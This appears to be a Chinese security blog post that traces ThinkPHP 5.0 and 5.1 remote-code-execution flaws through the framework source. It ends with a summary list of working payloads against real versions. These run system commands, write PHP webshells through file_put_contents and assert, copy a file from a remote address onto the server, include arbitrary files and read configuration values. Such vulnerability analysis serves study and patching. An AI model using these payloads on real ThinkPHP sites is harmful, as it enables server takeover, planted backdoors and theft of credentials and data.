影响版本
5.0.0\<=ThinkPHP5\<=5.0.23 、5.1.0\<=ThinkPHP\<=5.1.30
不同版本payload不同,且5.13版本后还与debug模式有关
这里用的是5.0.22版本
ThinkPHP5.0.22完整版 - ThinkPHP框架
5.0.22debug模式RCE
开启debug模式
/config/config.php—>app_debug=>true
先给payload跟一边
_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
入口就是index.php,跟进start.php
跟进run()
,前边都是一些参数配置,直接跳到routeCheck()
前边还是配置操作直接看check()
下边有个method()
跟进一下
525行$this->method = strtoupper($_POST[Config::get('var_method')]);
,获取POST传参中的var_method
的值,而配置文件config.php中,它的默认值是_method
,而我们POST传参的_method
值是__construct
,在经过strtoupper
转大写,所以$this->method=__CONSTRUCT
,之后526行,就相当于执行了__construct(\$_POST)
,POST值就是我们传进去的在下边
跟进__construct()
这里本身server是没有值的,但是通过foreach语句,进行变量覆盖,最后一次循环时,$name='server'
,$item =>REQUEST_METHOD=whoami
,这样一来在经过$this->$name=$item
后,就发生了变量覆盖即\$server=>REQUEST_METHOD=whoami
,即下边圈出来的值
到这为了防止比较乱,先捋一下刚刚的链
run()->routeCheck()->check()->method()->__construct()
执行完__construct()
后回到method()
,method()
执行完后retrun $this->method;
,回到check()
,check()
最下边会rerurn false
;在回到routeCheck()
,此时\$resault=false
进入653行判断,跟进parseUrl()
最后会return 一个值,其中\$route跟上边三个变量有关,调试时候跟一下就好了,其实也没啥东西
执行完后retrun $resault
;回到了run()
,将值给了\$dispatch
之后执行$request->dispatch($dispatch);
将$dispatch
的值赋给\$this->dispatch
,其实这里也就是替换掉了\$request中dispatch的值
跟进param()
,看过之前tp5.1反序列化话,应该对这个很熟悉了,继续跟进method(true)
,注意这其实就是最开始的那个method()
方法,前边的那个没给参数所以默认为false,这里是true
$method=true
,所以进入第一个if,跟进server()
$this->server
通过刚才的__construct()
已经赋值了,所以绕过第一个if,$name
的值是上图中传进的REQUEST_METHOD
,是个字符串所以也不进入第二个if,下面操作就跟tp5.1反序列化的一样了,直接跟进input()
调用input时第二个参数,三目运算将大写REQUEST_METHOD
,传给了input中的\$name
,\$data=就是\$this->server的值
之后经过foreach,将\$name的值给\$val=REQUEST_METHOD,然后$data=$data[$var]
即:\$data=\$data[REQUEST_METHOD]
也就等于whoami
之后就是两个重点的方法getFilter()
,tpRCE中常用方法filterValue()
先跟进getFilter()
,1058行,将\$this->filter的值给\$filter,由于我们POST传入的是filter=system,所以现在的\$filter=system
,中间过滤操作对其值无影响不看了,执行完retrun返回
跟进filterValue()
,\$value的值就是\$data的值,call_user_func执行,最后return \$this->filterExp(\$value); filterExp
就是一个正则过滤主要过SQL的(tp3.2.3的SQL中也出现过),对我们的值没有影响,所以执行成功并回显了
5.0.22非debug模式RCE
还是先贴payload
?s=captcha
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=dir
非debug模式的区别就在于,之前debug模式时,可以进入if判断从而执行,param(),而非debug模式无法进入if所以执行点就到了下边的exec()
跟进exec()
,会进行\$dispatch['type']检测,若为method,则就可以从这里进入param(),进而命令执行
所以这里主要就在于,如何将\$dispatch['type']=method
,还是先跟到method方法这里(里边执行__construct()那个就不进去了)
经过method()
变量覆盖,此时$method=get
,在经过self::\$rules[get]
给\$rules赋值,结果在下边,现在问题是为什么值是这个数组呢?
这是由于ThinkPHP有⾃动加载机制,在运⾏时会⾃动加载vendor⽬录下的第三⽅库。
由于我们get传参?s=captcha,所以自动调用了think-captcha下的文件
加载过程如下:
vendor/topthink/think-captcha/src/helper.php
中有个get方法,然后get()->rule()->setRule()
最终也就是相当于获得了我们get()方法中传入的参数
回过来接着看,给$rules
,赋完值后会进入checkRoute()
,注意:\$rules作为第二个参数传入
跟进后里边又有个checkRule()->parseRule()
,\$rules作为第二个参数传给\$route,在作为第二个参数传给parseRule()
的\$route
```
//checkRule()
$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
//parseRule()
return self::parseRule($rule, $route, $url, $option, $match);
```
跟到1517行,发现将\$route赋给了\$method,最后\$resault中的\$type变为我们想要的"method"
,\$method变为\$route的值,如图所示:
还是先捋一下整条链
run()->routeCheck()->check()->checkRoute()->checkRule()->pareRule()
,type=method
都执行完后再回到run()
,将刚才得到的值给了\$dispatch,之后执行exec,这时我们的dispatch['type']=method
,所以就执行了param()
之后就跟debug模式一样了不跟进看了
5.0-5.0.12的另一种RCE思路
这条链应该是只适用于5.0—5.0.12具体没有一个个审,本地测试是0、5、12的都可以,所以应该也差不多
复现用的是5.0.5ThinkPHP5.0.5完整版 - ThinkPHP框架
payload
_method=__construct&filter=system&method=GET&s=whoami
前边非debug的RCE是利用的$dispatch['type']=method
,进而命令执行的,而这条链则是用到$dispatch['type']=module
,先来看下如何让他的值变为module
的
前边都是一样的,直接看routeCheck()
这里
跟进后原本是通过check()
然后再一直调用其他方法,将type变为method的,这里在check()
方法执行完后,550行有个parseUrl()
$result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
跟进这里最后会返回type=>module
,\$route
其实基本没发生什么变化,具体细节就不看了
执行完后回到run()
方法中的type判断这里
跟进module
,该方法最后执行invokeMethod()
return self::invokeMethod($call, $vars);
跟进221行,有个bindParams()
$args = self::bindParams($reflect, $vars);
跟进发现了param()
,这里调用时没用到任何参数,所以前边我只是一直在跟进并没有分析他的具体流程
跟进
经过method()
方法得到POST,然后将我们POST传入的值给\$var,之后631行进行合并,这里的合并其实就是\$var的值(框选部分),因为前后的get
和route
方法参数都是false默认返回空,所以可以理解为\$this->param=\$vars
,最后调用input
跟进调用array_walk_recursive
,\$data就是input的第一个参数即:\$this->param,\$filter为我们传入的system
最后直接执行了,不截图了(这个地方在tp5.1反序列化中遇到过)
至于5.0.13后为什么不行,主要在这里,module
中filter被覆盖为空
未开启强制路由导致RCE
环境
composer create-project topthink/think=5.1.29 tp5.1.29
我这边版本一直下载不对,没弄好就从github上直接找了个
vulnspy/thinkphp-5.1.29 (github.com)
前提
未开启强制路由/config/app.php
// 是否强制使用路由
'url_route_must' => false,
分析
感觉下载的不是纯净源码,就简单跟一下吧
老样子先进入run()
调用routeCheck()
和init()
,先跟进routeCheck()
先通过path()
获取传参的值
跟进check()
,先看881行,将\$url值中的/
替换成|,所以结果从一开始的index/think\Request/input
变为index|think\Request/input
最后retrun返回
return new UrlDispatch($this->request, $this->group, $url, [
'auto_search' => $this->autoSearchController,
]);
}
执行完后看下值,主要还是index|think\Request/input
这一部分
相当于index模块,think\Request
控制器,input方法。继续跟进,routeCheck()函数运行完毕,进入init():
48行有个parseUrlPath()
跟进一下
list($path, $var) = $this->rule->parseUrlPath($url);
通过explode将url以/
分为三个数组
回到parseUrl()
,主要执行了下边三个array_shift
操作,以$module
举例,\$path的第一个数组为index,通过array_shift
将第一个数组删除,并返回index,剩下的controller、action
依次就为think\Request、input
最后将这三个值赋给\$route并retrun
```
$route = [$module, $controller, $action];
if ($this->hasDefinedRoute($route, $bind)) {
throw new HttpException(404, 'invalid request:' . str_replace('|', $depr, $url));
}
return $route;
```
回到init
()
return (new Module($this->request, $this->rule, $result))->init();
在回到run()
,调用`\$dispatch->run()
:`
跟进,在168执行exec()
- 先实例化了控制器,相当于实例化
think\Request
: - \$action这里先获得input这个方法名,
- 然后判断是否可以调用,创造
\$call
。 - 生成了一个
ReflectionMethod
反射类的对象,得到方法名。 - 利用param方法获得请求参数,即:
filter=system&data=whoami
之后有个135行invokeReflectMethod()
$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
跟进,又发现bindParams()
会retrun \$args;再传给invokeArgs()
调用,invokeArgs()
利用反射机制,把\$args
这个数组作为参数,调用了input方法,到input就很熟悉下边就不分析了
到这RCE部分就结束了,其实对于最后的未强制路由上,审计的还是不是很明白,也不知道是不是源码的问题,就是感觉有点乱这里就以后再说吧
payload总结
tp5RCE的payload其实还有很多,这里贴一波师傅总结payload
5.0-5.0.12debug无关
开启debug后会执行两遍我们的命令,一次在debug模式判断那里,run()->param():126
,另一个就是非debug模式下的exec()
命令执行
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter//自5.0.8开始
shell
POST
s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
debug模式
5.0-5.0.20
准确的来说应该是5.0.13-5.0.20,因为13之前都会执行两次,不属于debug模式特有的
POST
s=whoami&_method=__construct&method=POST&filter[]=system
aaaa=whoami&_method=__construct&method=GET&filter[]=system
_method=__construct&method=GET&filter[]=system&get[]=whoami
c=system&f=calc&_method=filter//自5.0.8开始
写shell
`fallback
s=file_put_contents('test.php','\<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
```
有captcha路由时debug无关
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
5.0.21-5.0.24、5.1.0-5.1.1
命令执行
fallback
POST
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc
写shell
POST
_method=__construct&filter[]=assert&server[REQUEST_METHOD]=file_put_contents('test.php','<?php phpinfo();')
有captcha路由时debug无关
POST ?s=captcha/calc
_method=__construct&filter[]=system&method=GET
POST ?s=captcha
_method=__construct&filter[]=system&server[REQUEST_METHOD]=calc&method=get
未开启强制路由导致RCE
这个漏洞的影响范围应该是
ThinkPHP5\<5.0.23、ThinkPHP5.1\<5.1.30
命令执行
5.0.x
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
5.1.x
?s=index/\think\Request/input&filter[]=system&data=whoami
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
shell
5.0.x
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
5.1.x
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?> //shell生成在runtime/temp/md5(template).php
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)
其他
5.0.x
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论